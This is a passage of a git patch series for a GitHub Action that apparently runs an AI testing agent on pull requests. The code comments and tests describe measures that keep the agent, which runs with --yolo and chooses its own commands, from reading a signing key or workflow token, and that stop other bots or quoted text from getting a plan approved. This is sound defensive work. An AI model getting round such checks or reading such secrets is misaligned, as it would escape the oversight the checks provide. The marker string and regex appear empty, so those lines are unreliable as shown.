`${renderJobSummary(args)}\n\n${COMMENT_MARKER}` +} + +/** + * Edit our comment, or write the first one. + * + * Only a comment WE wrote counts. Matching on the marker alone would let a + * person quoting our comment in their reply capture the thread, after which + * every run would overwrite their words. + */ +export function chooseCommentAction(comments) { + const ours = (comments ?? []).filter((c) => c?.user?.type === "Bot" && (c.body ?? "").includes(COMMENT_MARKER)) + if (ours.length === 0) return { action: "create" } + // Oldest, so repeated runs converge on one comment even if a duplicate + // somehow appeared. + const oldest = ours.reduce((a, b) => (a.id <= b.id ? a : b)) + return { action: "update", id: oldest.id } +} + +/** + * Which commit the "Test Companion" check is attached to. + * + * On a pull_request event GITHUB_SHA is the ephemeral MERGE commit, not the + * branch head. A check posted there does not appear on the pull request and + * cannot satisfy branch protection — which is exactly what the first live run + * did. The event's own head sha, which the planner already extracted, is the + * one a reviewer sees. + */ +export function checkSha(planContext = {}, summary = {}, githubSha) { + return planContext.sha || summary.sha || githubSha +} + +/** + * Someone without write access asked for a run — FR-33. + * + * This used to go only to the job summary, which the person who commented never + * opens: from where they sat, Test Companion ignored them. One line, naming who + * can ask, so the answer is where the question was. + * + * No COMMENT_MARKER, here or below. A refusal is not a run report, and + * chooseCommentAction takes the OLDEST marked comment as the one it edits — so + * a marked refusal would become the place every later run wrote its results. + */ +export function renderNotAuthorized(login, askTeam) { + const team = String(askTeam ?? "").trim() + return team + ? `@${login} — this repository has narrowed who can ask Test Companion for a run to the **${team}** team, so write access alone is not enough here.` + : `@${login} — only someone with write access to this repository can ask Test Companion for a run.` +} + +/** We could not place the request — FR-34: reply with what we can do, run nothing. */ +export function renderUnknownRequest() { + const lines = CAPABILITIES.map(({ ask, does }) => `- **${ask}** — ${does}`) + return [`I could not tell which job that was asking for, so nothing ran. Here is what I can do:`, "", ...lines].join("\n") +} + +/** FR-44: a proposal nobody answers is dropped after 24 hours. */ +export const PROPOSAL_WINDOW_MS = 24 * 60 * 60 * 1000 + +/** + * How a waiting proposal is recognised later — STM-5434 FR-43. + * + * Keyed to the COMMIT, which is what makes FR-44's "new commits replace the + * proposal" true without anything having to sweep: once the branch moves, the + * old proposal simply stops being found, so a "go" can never approve work that + * was proposed against different code. + */ +export function proposalMarkerFor(sha, requester, workflow) { + const by = String(requester ?? "").trim() + // The JOB travels with the proposal. Without it, approving a `fix` + // proposal ran whatever binding happened to be first in the pipeline file, + // because the GO path sets no workflow and the CLI then resolves one from + // the event alone. FR-43 is "what you saw is what runs". + const job = String(workflow ?? "").trim() + return `` +} + +/** + * The ONE pattern for a proposal marker, because the two readers have now + * drifted twice. + * + * findProposal learned about `workflow=`; findSupersededProposal, 200 lines + * away, did not — its pattern still required ` -->` right after the optional + * `by=`, so it matched no marker this branch writes and the "your plan is + * stale" reply silently died back to "No @test-companion mention", which is + * the exact failure it was written to fix. + * + * Groups: 1 = requester, 2 = workflow. Both optional, so markers written + * before either field existed stay readable. + * + * ONE LITERAL pattern, with the sha captured rather than interpolated. + * + * It used to be built per-search from the sha, which meant the sha had to be + * regex-escaped or it would quietly match OTHER commits — `a.c*d+` also finds + * `abcccd`, so a plan for one commit could be approved against another. The + * escaping was correct, but it was a rule every caller had to remember. + * + * Comparing captured text with `===` removes the rule instead of restating + * it: there is nothing to escape, nothing to get wrong, and no pattern built + * from input (which is also what Semgrep was pointing at — + * browserstack/github-actions#91, findings 9 and 12). + */ +const MARKER = // + +/** The marker's fields, or undefined when the comment has none. */ +const readMarker = (body) => { + const found = MARKER.exec(String(body ?? "")) + return found ? { sha: found[1], requester: found[2], workflow: found[3] } : undefined +} + +/** + * The commit a check we already posted belongs to — review of #3101, B1. + * + * The "in progress" check goes up BEFORE the CLI runs, so a later `stop` has + * something to cancel, and it is posted on the PULL REQUEST's head. Anything + * that finishes the run afterwards has to complete THAT check, on THAT + * commit. Reaching for the event's own sha instead is wrong on a comment run, + * where GITHUB_SHA is the default branch's commit: the second check lands on + * main and the pull request's one stays pending for ever. + */ +export function checkSubjectFor(made, fallbackSha) { + for (const sha of made?.keys?.() ?? []) return sha + return fallbackSha +} + +/** The proposal comment: what the run would do, and how to let it — FR-43. */ +export function renderProposal(body, sha, requester, workflow) { + return [ + body, + "", + "Reply **go** to run this for real. Nothing is written until you do — you can edit the list first, or say **stop** to drop it.", + "", + proposalMarkerFor(sha, requester, workflow), + ].join("\n") +} + +/** + * The proposal waiting on this commit, if there is one. + * + * Only a comment WE wrote counts, for the same reason chooseCommentAction + * checks: otherwise a person quoting our proposal in their reply could approve + * their own request. + * + * Fails CLOSED on an unreadable timestamp — treated as expired, so the worst + * case is a fresh proposal rather than approving one of unknown age. + */ +export function findProposal(comments, sha, now = Date.now()) { + // `by=` is optional so proposals written before the requester was recorded + // stay approvable rather than becoming stuck. + // `by=` and `workflow=` are both optional, so proposals written before + // either was recorded stay approvable rather than becoming stuck. + const want = String(sha ?? "").trim() + const ours = (comments ?? []).filter((c) => c?.user?.type === "Bot" && readMarker(c.body)?.sha === want) + if (ours.length === 0) return undefined + const newest = ours.reduce((a, b) => (a.id >= b.id ? a : b)) + const age = now - Date.parse(newest.created_at ?? "") + const mark = readMarker(newest.body) + return { + id: newest.id, + expired: !(age <= PROPOSAL_WINDOW_MS), + requester: mark?.requester, + // The job the person actually read and approved. Undefined on a + // proposal written before the marker carried one. + workflow: mark?.workflow, + // The run has to READ the approved plan to carry it out (FR-43), so the + // body travels with the decision rather than being fetched again. + body: newest.body ?? "", + } +} + +/** + * The plan an approved run must carry out — FR-43. + * + * FR-43 allows a reply of "go" WITH OR WITHOUT edits to the case list, and the + * edits win: someone looked at the proposal and changed it before approving. + * Handing the run only the original proposal would quietly discard that. + * + * The proposal's own marker is stripped. It is bookkeeping, and leaving it in + * invites the run to read it as an instruction. + */ +/** + * Did the approver change anything, or just say go? — FR-43. + * + * Worth knowing separately from the plan itself: edits made at approval time + * were reviewed by nobody but the approver, and on a self-approved run by + * nobody at all. That combination is reported rather than refused — see + * decideGate — but it cannot be reported if it is not detected. + */ +export function hasApproverEdits(replyText) { + const reply = String(replyText ?? "").trim() + if (!reply) return false + // A bare approval is not an edit. Presenting "go" as one would have the run + // looking for an instruction nobody gave. + return !/^(go|approved?)[\s.!]*$/i.test(reply) +} + +export function renderApprovedPlan(proposalBody, replyText) { + const plan = String(proposalBody ?? "") + .replace(//g, "") + .trim() + + const reply = String(replyText ?? "").trim() + const parts = ["# The approved plan", "", plan] + if (hasApproverEdits(reply)) { + parts.push("", "# Changes the approver made", "", reply, "", "Where these differ from the plan above, these win.") + } + return parts.join("\n") +} + +/** + * How a dropped proposal is remembered — FR-44. + * + * The sweep that drops proposals runs nightly. Without a record, it would post + * a fresh "Action required" check and a fresh comment on the same dead proposal + * every night for as long as the pull request stayed open. + */ +export function proposalDroppedMarkerFor(sha) { + return `` +} + +/** + * Is there a proposal on this commit that has run out of time and not yet been + * dropped? — FR-44. + * + * This exists because FR-44's in-progress check is only safe if something is + * guaranteed to end it. A proposal nobody answers would otherwise leave the + * check on "in progress" forever, and anyone who made it a required check is + * then blocked by a check that never resolves — the exact failure Release 2 + * avoided by posting the tick at the end of a run rather than the start. + */ +export function proposalNeedsDropping(comments, sha, now = Date.now()) { + const waiting = findProposal(comments, sha, now) + if (!waiting?.expired) return false + const dropped = proposalDroppedMarkerFor(sha) + return !(comments ?? []).some((c) => c?.user?.type === "Bot" && (c.body ?? "").includes(dropped)) +} + +/** + * The items out of a `gh api --paginate --slurp` response — FR-29. + * + * `--slurp` returns an ARRAY OF PAGES, not a flat array of items, and it wraps + * even when there is only one page. Verified against gh 2.91.0: twelve pages at + * per_page=2, and still `[[...]]` at per_page=100. + * + * Without this, chooseCommentAction is handed an array of arrays, matches + * nothing, returns "create" every time, and every run posts a NEW comment — + * the single-comment guarantee in FR-29, broken by the fix meant to protect it. + * `--slurp` was added to stop `[...][...]` from failing JSON.parse, which it + * does; the shape it produces instead was the part that got missed. + * + * Objects are not arrays, so flat() leaves an already-flat list alone. That + * keeps this correct if gh ever changes its mind. + */ +export function flattenPages(slurped) { + return Array.isArray(slurped) ? slurped.flat() : [] +} + +/** + * The accessibility and visual lines on the check — STM-5434 FR-45. + * + * Both are silent unless the settings asked for them, and both read their + * numbers from the run's summary file. Those keys — accessibility_new, + * accessibility_total, visual_changes, visual_url — are the contract between + * the run and this report. + * + * A check that was asked for and produced no number says so, rather than + * rendering nothing: an absent line reads as "clean", and claiming a pass for + * a check that never ran is the worst of the three outcomes. + */ +export function renderExtraChecks(summary = {}, { wcag, visual } = {}) { + const lines = [] + const level = String(wcag ?? "").trim() + + if (level) { + const introduced = summary.accessibility_new + if (introduced === undefined) { + lines.push(`**Accessibility (WCAG ${level.toUpperCase()}):** no result reported by this run.`) + } else { + const total = summary.accessibility_total + lines.push( + `**Accessibility (WCAG ${level.toUpperCase()}):** ${introduced} introduced by this change` + + (total === undefined ? "." : `, ${total} on the page in all.`), + ) + } + } + + if (visual) { + const changes = summary.visual_changes + if (changes === undefined) { + lines.push("**Visual:** no result reported by this run.") + } else { + const link = summary.visual_url ? ` ${summary.visual_url}` : "" + lines.push(`**Visual:** ${changes} changes awaiting review.${link}`) + } + } + return lines +} + +/** + * May accessibility turn the check red? — FR-45. + * + * Only when the settings say so, and only for violations THIS CHANGE + * introduced. Failing a pull request for the state of a page it never touched + * is how a gate gets switched off for good, and a gate nobody runs protects + * nothing. + * + * A run that reported no number has not failed: absence is not a violation. + */ +export function accessibilityFailsCheck(summary = {}, { wcag, failOnNew } = {}) { + if (!String(wcag ?? "").trim() || !failOnNew) return false + const introduced = Number(summary.accessibility_new) + return Number.isFinite(introduced) && introduced > 0 +} + +/** + * The body of a proposal — FR-38, FR-43. + * + * The first live run posted a proposal containing only a report header. The + * run had designed nine test cases and verified each one by probing the + * implementation; none of it reached the comment, because the proposal was + * only ever handed the job summary. + * + * A proposal with no plan in it cannot be reviewed, which makes approving it + * meaningless — so an absent plan says so out loud rather than rendering a + * confident-looking empty proposal. + */ +export function renderProposalBody({ summary, plan, sizeNote } = {}) { + const parts = [] + // FR-44's warning goes above the list, where it can still change what the + // reviewer approves. + if (String(sizeNote ?? "").trim()) parts.push(sizeNote, "") + if (String(summary ?? "").trim()) parts.push(summary, "") + + const body = String(plan ?? "").trim() + // Only `test-pr` writes a separate plan file. For every other job the + // proposal run is a PREVIEW run — it does the work and writes nothing — + // so its report above IS what is being approved. Saying "there is nothing + // here to approve" told the reader to re-run something that had worked. + const noPlan = String(summary ?? "").trim() + ? "_The report above is what this run would do. Nothing has been written._" + : "_This run did not produce a plan — there is nothing here to approve. The run log will say why; re-run once that is fixed._" + parts.push(body || noPlan) + return parts.join("\n") +} + +/** + * A proposal on this pull request that a newer commit has left behind — FR-44. + * + * FR-44 keys a proposal to a commit, so a new commit silently replaces it. + * That is the right safety behaviour: a plan written against code that has + * since changed must never be carried out. But silence is the wrong way to + * say it. + * + * Observed live on 2026-10-29: someone replied "go" after the branch moved and + * was told "No @test-companion mention, so nothing was asked of Test + * Companion." They had given a valid approval word, and the actual reason was + * sitting in the comment history. + * + * Only our own comments count, so a person quoting the marker cannot + * manufacture one. + */ +export function findSupersededProposal(comments, sha) { + const current = String(sha ?? "").trim() + // Same reader as findProposal, so the two cannot drift again. + const stale = (comments ?? []).filter((c) => { + if (c?.user?.type !== "Bot") return false + const found = readMarker(c.body) + return Boolean(found) && found.sha !== current + }) + if (stale.length === 0) return undefined + // Newest wins: with several old plans, the one they most plausibly meant is + // the last one we put up. + const newest = stale.reduce((a, b) => ((a.id ?? 0) >= (b.id ?? 0) ? a : b)) + const found = readMarker(newest.body) + return { sha: found?.sha, requester: found?.requester, id: newest.id } +} + +/** + * Create the "Test Companion" check, or update the one this run already made — + * FR-48, "one check, never neutral". + * + * Every call used to POST. A single run posts up to three times — in progress + * before the work, the result after it, and the catch-all on a crash — so a + * pull request collected two or three checks of the same name, and a proposal + * left ITS in-progress one pending forever because nothing ever completed it. + * That is the "blocked by a check that never arrives" failure the design is + * meant to avoid. Reported in review of PR #3101. + * + * Keyed by commit: a run can legitimately check two (the head early on, and + * whatever the report names later), and those are different checks, not an + * update of one another. + */ +export function checkRequestFor(sha, made) { + const existing = made?.get?.(sha) + return existing ? { method: "PATCH", path: `check-runs/${existing}` } : { method: "POST", path: "check-runs" } +} + +/** + * The check a PREVIOUS run left in progress on this commit, if there is one. + * + * checkRequestFor only knows what THIS process created. The nightly sweep runs + * in a different process with an empty memo, so it posted a fresh "Action + * required" check and left the proposal run's in-progress one pending for the + * life of the branch — the exact "blocked by a check that never arrives" + * failure the sweep exists to prevent. + * + * Only ours, and only one still running: a completed check is already + * answered, and another tool's check is none of our business. + */ +export function inFlightCheckId(checks, checkName = "Test Companion") { + const ours = (checks ?? []).filter((c) => c?.name === checkName && c?.status !== "completed") + if (ours.length === 0) return undefined + // Newest, so a stale one from an older run cannot win. + return ours.reduce((a, b) => ((a.id ?? 0) >= (b.id ?? 0) ? a : b)).id +} diff --git a/test-companion/src/main.mjs b/test-companion/src/main.mjs index d1619a1..2845bbb 100644 --- a/test-companion/src/main.mjs +++ b/test-companion/src/main.mjs @@ -28,6 +28,7 @@ import { renderComment, chooseCommentAction, checkSha, + checkSubjectFor, renderNotAuthorized, renderUnknownRequest, findProposal, @@ -132,6 +133,15 @@ function gh(args, body) { function appInstallationToken() { const creds = appCredentials(env) if (!creds) return undefined + // B3 (review of #3101). `creds` holds its own copy, so the key can leave + // the environment the moment it has been read. Everything this process + // starts from here on inherits that environment — including the agent, + // which runs with --yolo and chooses its own commands — and a signing key + // is not something to leave lying where they can read it. + // + // childEnvFor strips it for the agent already; this closes the same hole + // for everything else, and does not rely on remembering to list it. + delete env.TC_ACTION_APP_PRIVATE_KEY let jwt try { @@ -366,6 +376,17 @@ function finishSkipped(reason, detail) { }[reason] const msg = human ?? `Nothing to do (${reason}).` notice(`Test Companion: ${msg}`) + // B1 (review of #3101). The "in progress" check goes up before the CLI + // runs so a later `stop` has something to cancel. Skipping out from under + // it left "Test Companion" pending for ever — and `no-binding` is most + // events, so for most repositories that was most runs. + // + // Completing it here rather than posting the check later keeps `stop` + // working. Nothing deliberately leaves a check pending through this + // function: the proposal path posts its own and exits directly. + for (const sha of checksMade.keys()) { + postCheck(OUTCOMES.SKIPPED, { outcome: "Skipped", summary: {}, runUrl: RUN_URL }, sha, [], "completed", msg) + } addToJobSummary(`## Test Companion\n\n${msg}${detail ? `\n\n\`${detail}\`` : ""}`) setOutput("outcome", "Skipped") setOutput("should-fail", "false") @@ -1393,7 +1414,15 @@ try { setOutput("outcome", OUTCOMES.COULD_NOT_RUN) setOutput("should-fail", String(stepShouldFail(env.TC_ACTION_BUILD_EFFECT, OUTCOMES.COULD_NOT_RUN))) try { - postCheck(OUTCOMES.COULD_NOT_RUN, { outcome: OUTCOMES.COULD_NOT_RUN, summary: {}, runUrl: RUN_URL }, env.GITHUB_SHA) + // The commit we already posted the in-progress check on, NOT the + // event's sha: on a comment run GITHUB_SHA is the default branch's + // commit, so this used to post a second check on main and leave the + // pull request's one pending (B1). + postCheck( + OUTCOMES.COULD_NOT_RUN, + { outcome: OUTCOMES.COULD_NOT_RUN, summary: {}, runUrl: RUN_URL }, + checkSubjectFor(checksMade, env.GITHUB_SHA), + ) } catch { // Nothing left to try. The job summary above is still written. } diff --git a/test-companion/src/report.mjs b/test-companion/src/report.mjs index 01a544e..c2b2a4f 100644 --- a/test-companion/src/report.mjs +++ b/test-companion/src/report.mjs @@ -290,6 +290,21 @@ const readMarker = (body) => { return found ? { sha: found[1], requester: found[2], workflow: found[3] } : undefined } +/** + * The commit a check we already posted belongs to — review of #3101, B1. + * + * The "in progress" check goes up BEFORE the CLI runs, so a later `stop` has + * something to cancel, and it is posted on the PULL REQUEST's head. Anything + * that finishes the run afterwards has to complete THAT check, on THAT + * commit. Reaching for the event's own sha instead is wrong on a comment run, + * where GITHUB_SHA is the default branch's commit: the second check lands on + * main and the pull request's one stays pending for ever. + */ +export function checkSubjectFor(made, fallbackSha) { + for (const sha of made?.keys?.() ?? []) return sha + return fallbackSha +} + /** The proposal comment: what the run would do, and how to let it — FR-43. */ export function renderProposal(body, sha, requester, workflow) { return [ diff --git a/test-companion/starter-workflow.yml b/test-companion/starter-workflow.yml index 6ef8079..8b7f10f 100644 --- a/test-companion/starter-workflow.yml +++ b/test-companion/starter-workflow.yml @@ -54,12 +54,21 @@ concurrency: # issue_comment carries the PR number as `issue.number`; everything else # falls back to the run id, which is unique, so those events never share a # group with each other. + # CONTROL EVENTS GET THEIR OWN GROUP. `stop` and a closed pull request + # exist to act on a run that is already going. Sharing the work group with + # it, and queueing rather than cancelling, meant they waited behind the + # very run they were sent to stop and only started once it had finished by + # itself — so `stop` did nothing, slowly. group: >- test-companion-${{ github.event.pull_request.number || github.event.issue.number - || github.run_id }} + || github.run_id }}${{ + (github.event.action == 'closed' + || contains(github.event.comment.body, 'stop')) + && '-control' || '' }} # Queue rather than cancel: a run already in flight has spent credits, and - # the newer one waits its turn instead of superseding it. + # the newer one waits its turn instead of superseding it. Control events + # are in their own group, so this no longer delays them. cancel-in-progress: false jobs: diff --git a/test-companion/test/imports.test.mjs b/test-companion/test/imports.test.mjs index dd58cc3..f635f1c 100644 --- a/test-companion/test/imports.test.mjs +++ b/test-companion/test/imports.test.mjs @@ -117,3 +117,36 @@ describe("main.mjs — the failing build is resolved after the workflow is final assert.equal(calls, 1, `found ${calls} build lookups; two copies will diverge`) }) }) + +/** + * Review of PR #3101, blocker B3. + * + * The App's private key arrives in the environment and stays there. Anything + * spawned afterwards inherits it — and the agent runs with --yolo, so "what + * gets spawned afterwards" includes programs it chose. + * + * The git half of B3 is closed in push-work.mjs (minimal env, hooks and + * fsmonitor off, config allow-listed, binary pinned). This is the other half: + * once the key has been used, it should not still be readable. + */ +describe("main.mjs — the App private key does not outlive its use", () => { + const at = (needle) => { + const i = main.indexOf(needle) + assert.notEqual(i, -1, `main.mjs no longer contains ${JSON.stringify(needle)}`) + return i + } + + test("it is deleted from the environment", () => { + assert.match( + main, + /delete env\.TC_ACTION_APP_PRIVATE_KEY/, + "the key stays readable by every process this one starts", + ) + }) + + test("deleted while minting the token, before anything else is spawned", () => { + // The agent is the process that matters: it runs with --yolo and picks + // its own commands. + assert.ok(at("delete env.TC_ACTION_APP_PRIVATE_KEY") < at('spawnSync("tc"'), "the agent could still read it") + }) +}) diff --git a/test-companion/test/report.test.mjs b/test-companion/test/report.test.mjs index 95d9889..402276b 100644 --- a/test-companion/test/report.test.mjs +++ b/test-companion/test/report.test.mjs @@ -6,6 +6,7 @@ import { renderComment, chooseCommentAction, checkSha, + checkSubjectFor, COMMENT_MARKER, renderNotAuthorized, renderUnknownRequest, @@ -921,3 +922,38 @@ describe("a proposal marker search is built from literals, never from raw input" assert.ok(Date.now() - started < 1000, "the marker search must not backtrack") }) }) + +/** + * Review of PR #3101, blocker B1. + * + * The "in progress" check is posted BEFORE the CLI runs, so a later `stop` + * has something to cancel. Two paths then left it pending forever: + * + * - a skip after the check was posted (no binding, which is most events) + * exited without completing it; + * - a crash posted its check against GITHUB_SHA, which on a comment run is + * the DEFAULT BRANCH's commit — so the crash check landed on main and the + * pull request's check stayed stuck. + * + * Both need the same thing: the commit we already posted on. + */ +describe("the commit a pending check belongs to", () => { + test("is the one we already posted on, not the event's sha", () => { + const made = new Map([["prhead111", 42]]) + assert.equal(checkSubjectFor(made, "defaultbranch999"), "prhead111") + }) + + test("falls back to the event's sha when we posted nothing", () => { + assert.equal(checkSubjectFor(new Map(), "defaultbranch999"), "defaultbranch999") + }) + + test("with several, the first is used — one run posts one check", () => { + const made = new Map([["first", 1], ["second", 2]]) + assert.equal(checkSubjectFor(made, "fallback"), "first") + }) + + test("no check and no sha is nothing, not a crash", () => { + assert.equal(checkSubjectFor(new Map(), undefined), undefined) + assert.equal(checkSubjectFor(undefined, undefined), undefined) + }) +}) diff --git a/test-companion/test/starter.test.mjs b/test-companion/test/starter.test.mjs index b020b6e..a40dc0f 100644 --- a/test-companion/test/starter.test.mjs +++ b/test-companion/test/starter.test.mjs @@ -223,3 +223,32 @@ describe("the starter workflow points somewhere that exists", () => { assert.match(starter, /cli-sha256/) }) }) + +/** + * Review of PR #3101, blocker B2. + * + * `stop` and a closed pull request are CONTROL events: they exist to act on a + * run that is already going. Sharing a concurrency group with that run, with + * `cancel-in-progress: false`, meant they queued behind the very thing they + * were sent to stop and only ran once it had finished on its own. + */ +describe("control events do not queue behind the run they act on", () => { + const starter = readFileSync(new URL("../starter-workflow.yml", import.meta.url), "utf8") + const group = starter.slice(starter.indexOf("concurrency:"), starter.indexOf("\njobs:")) + + test("a stop comment and a closed pull request land in a separate group", () => { + assert.match(group, /contains\(github\.event\.comment\.body, 'stop'\)/) + assert.match(group, /github\.event\.action == 'closed'/) + assert.match(group, /-control/) + }) + + test("work runs still queue rather than cancel each other", () => { + // A run in flight has already spent credits; the next one waits. + assert.match(group, /cancel-in-progress:\s*false/) + }) + + test("the group is still per pull request, so two PRs never share one", () => { + assert.match(group, /github\.event\.pull_request\.number/) + assert.match(group, /github\.event\.issue\.number/) + }) +}) From 4e6df1028637ba0451d2356a0731d39c614ce953 Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Fri, 30 Oct 2026 19:09:45 +0530 Subject: [PATCH 17/49] fix: the review findings from browserstack/vscode-ai-testing#3101 Identity on comments (another bot could get a proposal approved into a live run), the push no longer carries agent commits or whole untracked directories, persist-credentials off, one checkout path without --depth, approvals leave a trace, stop drops what it says it drops, and comments that are not for us no longer boot a runner. Co-Authored-By: Claude Opus 5 --- test-companion/action.yml | 19 ++- test-companion/src/intent.mjs | 10 +- test-companion/src/main.mjs | 158 ++++++++++++++---- test-companion/src/plan-run.mjs | 16 +- test-companion/src/push-work.mjs | 18 +++ test-companion/src/report.mjs | 56 +++++-- test-companion/starter-workflow.yml | 20 +++ test-companion/test/intent.test.mjs | 37 +++++ test-companion/test/plan-run.test.mjs | 62 ++++++- test-companion/test/push-work.test.mjs | 36 +++++ test-companion/test/report.test.mjs | 214 ++++++++++++++++++------- test-companion/test/starter.test.mjs | 28 ++++ 12 files changed, 564 insertions(+), 110 deletions(-) diff --git a/test-companion/action.yml b/test-companion/action.yml index 395e391..a33075d 100644 --- a/test-companion/action.yml +++ b/test-companion/action.yml @@ -112,8 +112,13 @@ runs: TC_SHA256: ${{ inputs.cli-sha256 }} run: | set -euo pipefail - curl -fsSL -o /tmp/tc-install.sh https://test-companion.browserstack.com/cli/install.sh - sh /tmp/tc-install.sh + # $RUNNER_TEMP, not /tmp: it is per-job and cleaned up, where a + # fixed /tmp path is shared with everything else on the runner + # and can be written before this step runs. The Action's own + # report files already take this care; this step did not. + installer="${RUNNER_TEMP:-/tmp}/tc-install.sh" + curl -fsSL -o "$installer" https://test-companion.browserstack.com/cli/install.sh + sh "$installer" echo "$HOME/.local/bin" >> "$GITHUB_PATH" version="$("$HOME/.local/bin/tc" --version 2>/dev/null | head -1 || echo unknown)" # FR-2: pinning only means something if the pin actually took. The @@ -121,7 +126,15 @@ runs: # silent fallback to latest would leave the run reporting a version # nobody asked for — and "the same pipeline behaves the same next # month" is the entire point of the input. - if [ -n "${TC_VERSION:-}" ] && [ "${version#*"$TC_VERSION"}" = "$version" ]; then + # EXACT, not a substring. `${version#*$TC_VERSION}` accepted a pin + # of 1.2.0 when 11.2.0 was installed, and a pin of 1.1 when 1.1.9 + # was — so the check passed for a version nobody asked for, which + # is the one thing it exists to catch. + # The first version-shaped token. Stripping non-digits instead + # would fold the architecture into the number, turning a version + # line ending "linux/amd64" into 1.1.964. + installed="$(printf '%s' "$version" | grep -oE '[0-9]+(\.[0-9]+)+' | head -1 || true)" + if [ -n "${TC_VERSION:-}" ] && [ "$installed" != "$TC_VERSION" ]; then echo "::error::Asked for Test Companion CLI $TC_VERSION but got '$version'." >&2 exit 1 fi diff --git a/test-companion/src/intent.mjs b/test-companion/src/intent.mjs index 4baa327..966475c 100644 --- a/test-companion/src/intent.mjs +++ b/test-companion/src/intent.mjs @@ -165,7 +165,7 @@ const saysAll = (said, name) => name.length > 0 && said.some((_, i) => name.ever * `workflows` is what the repository has bound, so a job can be asked for by * name. Without it, only the written-out phrases are understood. */ -export function readIntent(instructions, { workflows = [] } = {}) { +export function readIntent(instructions, { workflows = [], proposalWaiting = false } = {}) { const text = withoutQuotes(String(instructions ?? "")).trim() if (!text) return { kind: INTENT.UNKNOWN } @@ -177,6 +177,14 @@ export function readIntent(instructions, { workflows = [] } = {}) { const preview = PREVIEW.test(text) + // With a plan waiting, an approval is what a reply most likely IS — and + // FR-43 invites edits alongside it ("you can edit the list first"). Job + // words match anywhere, so testing them first read "go, and fix case 3's + // title" as a fresh request for `fix` and quietly dropped the approval + // (M4, review of #3101). Still after STOP: approving and cancelling in one + // breath has to cancel. + if (proposalWaiting && GO.test(text)) return { kind: INTENT.GO } + for (const [pattern, candidates] of PHRASES) { if (pattern.test(text)) { return { kind: INTENT.WORKFLOW, workflow: pickBound(candidates, workflows), preview } diff --git a/test-companion/src/main.mjs b/test-companion/src/main.mjs index 2845bbb..ab6999f 100644 --- a/test-companion/src/main.mjs +++ b/test-companion/src/main.mjs @@ -37,6 +37,7 @@ import { accessibilityFailsCheck, renderApprovedPlan, proposalDroppedMarkerFor, + proposalConsumedMarkerFor, proposalNeedsDropping, flattenPages, hasApproverEdits, @@ -58,6 +59,7 @@ import { pushCredentialEnv, pushUrlFor, unexpectedConfigKeys, + agentCommitted, CONFIG_READ_ARGS, trustedGitPath, gitEnvFrom, @@ -130,6 +132,43 @@ function gh(args, body) { * repository without the App installed is the normal case, not an error, and * FR-4 says the run finishes either way. */ +/** + * The login this Action's comments appear under — review of #3101, M2. + * + * `github-actions[bot]` with the workflow token; `[bot]` when the + * App is installed, discovered from the installation lookup below. Used to + * tell OUR comments from any other bot's, because "any bot" let another App + * post a proposal marker that a maintainer's `go` would then run live. + */ +let botLogin = "github-actions[bot]" + +/** HEAD before the agent ran, so a commit it made can be told from ours (M7). */ +let headBeforeRun = "" + +/** Set when this run is carrying out an approved proposal, so the plan is marked spent (M5). */ +let consumedMarker = "" + +/** + * Put the working tree on one commit — review of #3101, M8. + * + * Was two blocks doing the same job with different flags. One used + * `--depth 1`, which SHALLOWS a clone the starter deliberately made with + * `fetch-depth: 0`, so anything that looks at history afterwards sees one + * commit. The other checked its fetch but ignored whether the checkout + * worked, and carried on as if it had. + * + * The URL is explicit and carries its own credential, because the starter now + * sets `persist-credentials: false` (M1) — the workflow token must not sit in + * `.git/config` where a shell command the agent chose can read it. + */ +function fetchAndCheckout(sha, branch) { + const url = pushUrlFor(REPO, env.GITHUB_SERVER_URL) + if (!url || !sha) return false + const cred = pushCredentialEnv(env.GH_TOKEN, url) + if (!git(["fetch", url, sha], cred).ok) return false + return branch ? git(["checkout", "-B", branch, sha]).ok : git(["checkout", "--detach", sha]).ok +} + function appInstallationToken() { const creds = appCredentials(env) if (!creds) return undefined @@ -165,7 +204,12 @@ function appInstallationToken() { } let installationId try { - installationId = JSON.parse(found.stdout)?.id + const installation = JSON.parse(found.stdout) + installationId = installation?.id + // M2 (review of #3101): what WE post as. An App comments as + // `[bot]`, and knowing that is what lets us tell our own + // proposal from another App's. + if (installation?.app_slug) botLogin = `${installation.app_slug}[bot]` } catch { return undefined } @@ -479,11 +523,8 @@ function main() { if (plan.skip) finishSkipped(plan.skip, `PR #${plan.context.pr}`) // Work on the commit that was asked about. The starter checks out the // default branch for a comment event, since the payload names no ref. - const co = spawnSync("git", ["fetch", "--depth", "1", "origin", plan.context.sha], { stdio: "inherit" }) - if (co.status === 0) { - spawnSync("git", ["checkout", "--detach", "FETCH_HEAD"], { stdio: "inherit" }) - } else { - warn(`Could not fetch ${plan.context.sha}; running against the checked-out tree.`) + if (!fetchAndCheckout(plan.context.sha)) { + warn(`Could not check out ${plan.context.sha}; running against the tree this job checked out.`) } } @@ -526,7 +567,12 @@ function main() { if (!allowed) { // FR-33 wants a one-line reply, not a line in a log the person who // asked will never open. - replyOnPr(plan.context?.pr, renderNotAuthorized(who ?? "there", askTeam)) + // + // Unless they never addressed us. An unaddressed comment reaches + // here only because it was a bare "go", and answering a bystander's + // one-word comment with a public refusal is noise in someone else's + // conversation (M3, review of #3101). + if (!plan.approvalOnly) replyOnPr(plan.context?.pr, renderNotAuthorized(who ?? "there", askTeam)) finishSkipped("not-authorized", who) } } @@ -538,8 +584,16 @@ function main() { if (plan.event === TC_EVENTS.PR_COMMENT) { // FR-34: pass what this repository has actually bound, so a job can be // asked for by name and not only by the phrases written into PHRASES. + // Fetched BEFORE the intent is read, because what a reply means depends + // on whether we asked a question: with a plan waiting, "go, and fix + // case 3's title" is an approval with an edit, not a request to run + // `fix` (M4, review of #3101). + const comments = flattenPages(gh(["api", `repos/${REPO}/issues/${plan.context.pr}/comments`, "--paginate", "--slurp"])) + const waiting = findProposal(comments, plan.context.sha, Date.now(), botLogin) + const intent = readIntent(plan.context.instructions, { workflows: (bindingsDoc?.bindings ?? []).filter((b) => b.enabled).map((b) => b.workflow), + proposalWaiting: Boolean(waiting), }) if (intent.kind === INTENT.UNKNOWN) { @@ -576,9 +630,6 @@ function main() { finishSkipped("not-bound", intent.workflow) } - const comments = flattenPages(gh(["api", `repos/${REPO}/issues/${plan.context.pr}/comments`, "--paginate", "--slurp"])) - const waiting = findProposal(comments, plan.context.sha) - // An unaddressed comment only ever reaches us as a possible approval. // With nothing waiting, it is what it looked like: a person talking to // each other, not to us. @@ -588,7 +639,7 @@ function main() { // "no @test-companion mention" is both wrong and unhelpful — the reason // is sitting in the comment history (FR-44). if (plan.approvalOnly && !waiting) { - const stale = findSupersededProposal(comments, 